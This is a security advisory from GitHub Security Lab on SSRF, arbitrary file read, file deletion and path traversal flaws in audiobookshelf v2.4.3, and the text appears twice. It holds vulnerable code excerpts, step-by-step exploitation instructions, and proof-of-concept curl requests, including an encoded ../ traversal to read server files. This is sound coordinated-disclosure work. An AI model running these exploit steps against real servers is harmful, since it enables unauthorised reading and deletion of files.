GitHub Security Lab (GHSL) Vulnerability Report, audiobookshelf: GHSL-2023-203
, GHSL-2023-204
The GitHub Security Lab team has identified potential security vulnerabilities in audiobookshelf.
We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.
If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at [email protected]
(please include GHSL-2023-203
or GHSL-2023-204
as a reference).
If you are NOT the correct point of contact for this report, please let us know!
Summary
Audiobookshelf is vulnerable to server-side request forgery (SSRF), arbitrary file read (AFR) and arbitrary file deletion (AFD) depending on the permissions of the user.
Project
audiobookshelf
Tested Version
v2.4.3
Details
Issue 1: SSRF and Arbitrary File Read in AuthorController.js
(GHSL-2023-203
)
Users with the update permission are able to read arbitrary files, delete arbitrary files and send a GET request to arbitrary URLs and read the response.
const payload = req.body // <---- imagePath comes from req.body without sanitization
if (payload.imagePath !== undefined && payload.imagePath !== req.author.imagePath) {
if (!payload.imagePath && req.author.imagePath) {
await CacheManager.purgeImageCache(req.author.id)
await CoverManager.removeFile(req.author.imagePath) // <---- imagePath is passed to removeFile
} else if (payload.imagePath.startsWith('http')) {
const imageData = await AuthorFinder.saveAuthorImage(req.author.id, payload.imagePath) // <---- imagePath is used to make a GET request and its response is saved
if (imageData) {
if (req.author.imagePath) {
await CacheManager.purgeImageCache(req.author.id)
}
payload.imagePath = imageData.path
hasUpdated = true
}
} else if (payload.imagePath && payload.imagePath !== req.author.imagePath) {
if (!await fs.pathExists(payload.imagePath)) { // < ---- only check for existence of path, thus specifying any local file will result in file read
Logger.error(`[AuthorController] Image path does not exist: "${payload.imagePath}"`)
return res.status(400).send('Author image path does not exist')
}
if (req.author.imagePath) {
await CacheManager.purgeImageCache(req.author.id)
}
}
}
Impact
This issue may lead to Information Disclosure
.
Remediation
Ensure that images for the Library authors are restricted to their own folder to mitigate arbitrary file read and deletion. In order to mitigate SSRF, prevent access to internal IP ranges and ensure the given file is an actual image, instead of allowing any arbitrary file.
Resources
SSRF
- In order to exploit SSRF, first send a request with the url of the file you wish to download. Curl is messy, so I would just go into the UI and click to edit the author's image and put in the desired url which will send a PATCH request to
/api/authors/author-id
.
- Download the file from
api/authors/author-id/image
with the following command:
curl -i -s -k -X $'GET' \ -H $'Host: localhost:3333' -H $'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiI2NmFjZTUxNy01NGJmLTRjYmUtYTBlZC05ZWZkMzZhNWI5NmMiLCJ1c2VybmFtZSI6InRlc3RlciIsImlhdCI6MTY5NTg0ODQ4Mn0.rvF1kTKXHMsjPYV_PtvMnCKNgvXxNrTDTiOIh8yz0hE' -H $'Content-Length: 2' \ --data-binary $'\x0d\x0a' \ $'http://localhost:3333/api/authors/40913999-5739-4c84-bff0-93f9b34a08ef/image?token=JWT_TOKEN&raw=true'
Arbitrary File Deletion
- In order to exploit arbitrary file deletion, first send a request with the path to the file you wish to delete. Curl is messy, so I would just go into the UI and click to edit the author's image and put in the path to the file you wish to delete which will send a PATCH request to
/api/authors/author-id
.
- Then, go into the UI and click to edit the author's image and put in nothing which will send a PATCH request to
/api/authors/author-id
with an empty imagePath, deleting the file.
Issue 2: Arbitrary File Read in HlsRouter.js
(GHSL-2023-204
)
Any user (regardless of their permissions) may be able to read files from the local file system due to a path traversal in the /hls
endpoint.
var streamId = req.params.stream
var fullFilePath = Path.join(this.playbackSessionManager.StreamsPath, streamId, req.params.file)
var exists = await fs.pathExists(fullFilePath)
res.sendFile(fullFilePath)
Impact
This issue may lead to Information Disclosure
.
Remediation
Ensure the given file is within the correct directory by first joining the user input and the metadata directory and then comparing the two paths.
const path = require('path');
const relative = path.relative(metadata, user_input);
return relative && !relative.startsWith('..') && !path.isAbsolute(relative);
This code will return true if the user_input variable is a child of the metadata directory, otherwise it will return false.
Resources
Proof of Concept:
curl -i -s -k -X $'GET' \
-H $'Host: localhost:3333' -H $'Accept: application/json, text/plain, */*' -H $'Authorization: Bearer JWT TOKEN' -H $'Content-Length: 2' \
--data-binary $'\x0d\x0a' \
$'http://localhost:3333/hls/whatever/..%2F..%2F..%2F..%2F..%2F..%2F(url encoded full path here)'
Note: The %2F
s are URL-encoded forward slashes (/
) to prevent confusion with the express regex parser. After traversing back enough directories, we can input the URL-encoded full path of the file we wish to access.
GitHub Security Advisories
We recommend you create a private GitHub Security Advisory for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are published.
Credit
These issues were discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings). These issues were discovered with the help of CodeQL's SSRF and Path Injection queries.
Contact
You can contact the GHSL team at [email protected]
, please include a reference to GHSL-2023-203
or GHSL-2023-204
in any communication regarding these issues.
Disclosure Policy
This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.
GitHub Security Lab (GHSL) Vulnerability Report, audiobookshelf:
GHSL-2023-203
,GHSL-2023-204
The GitHub Security Lab team has identified potential security vulnerabilities in audiobookshelf.
We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.
If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at
[email protected]
(please includeGHSL-2023-203
orGHSL-2023-204
as a reference).If you are NOT the correct point of contact for this report, please let us know!
Summary
Audiobookshelf is vulnerable to server-side request forgery (SSRF), arbitrary file read (AFR) and arbitrary file deletion (AFD) depending on the permissions of the user.
Project
audiobookshelf
Tested Version
v2.4.3
Details
Issue 1: SSRF and Arbitrary File Read in
AuthorController.js
(GHSL-2023-203
)Users with the update permission are able to read arbitrary files, delete arbitrary files and send a GET request to arbitrary URLs and read the response.
Impact
This issue may lead to
Information Disclosure
.Remediation
Ensure that images for the Library authors are restricted to their own folder to mitigate arbitrary file read and deletion. In order to mitigate SSRF, prevent access to internal IP ranges and ensure the given file is an actual image, instead of allowing any arbitrary file.
Resources
SSRF
/api/authors/author-id
.api/authors/author-id/image
with the following command:curl -i -s -k -X $'GET' \ -H $'Host: localhost:3333' -H $'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiI2NmFjZTUxNy01NGJmLTRjYmUtYTBlZC05ZWZkMzZhNWI5NmMiLCJ1c2VybmFtZSI6InRlc3RlciIsImlhdCI6MTY5NTg0ODQ4Mn0.rvF1kTKXHMsjPYV_PtvMnCKNgvXxNrTDTiOIh8yz0hE' -H $'Content-Length: 2' \ --data-binary $'\x0d\x0a' \ $'http://localhost:3333/api/authors/40913999-5739-4c84-bff0-93f9b34a08ef/image?token=JWT_TOKEN&raw=true'
Arbitrary File Deletion
/api/authors/author-id
./api/authors/author-id
with an empty imagePath, deleting the file.Issue 2: Arbitrary File Read in
HlsRouter.js
(GHSL-2023-204
)Any user (regardless of their permissions) may be able to read files from the local file system due to a path traversal in the
/hls
endpoint.Impact
This issue may lead to
Information Disclosure
.Remediation
Ensure the given file is within the correct directory by first joining the user input and the metadata directory and then comparing the two paths.
This code will return true if the user_input variable is a child of the metadata directory, otherwise it will return false.
Resources
Proof of Concept:
Note: The
%2F
s are URL-encoded forward slashes (/
) to prevent confusion with the express regex parser. After traversing back enough directories, we can input the URL-encoded full path of the file we wish to access.GitHub Security Advisories
We recommend you create a private GitHub Security Advisory for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are published.
Credit
These issues were discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings). These issues were discovered with the help of CodeQL's SSRF and Path Injection queries.
Contact
You can contact the GHSL team at
[email protected]
, please include a reference toGHSL-2023-203
orGHSL-2023-204
in any communication regarding these issues.Disclosure Policy
This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.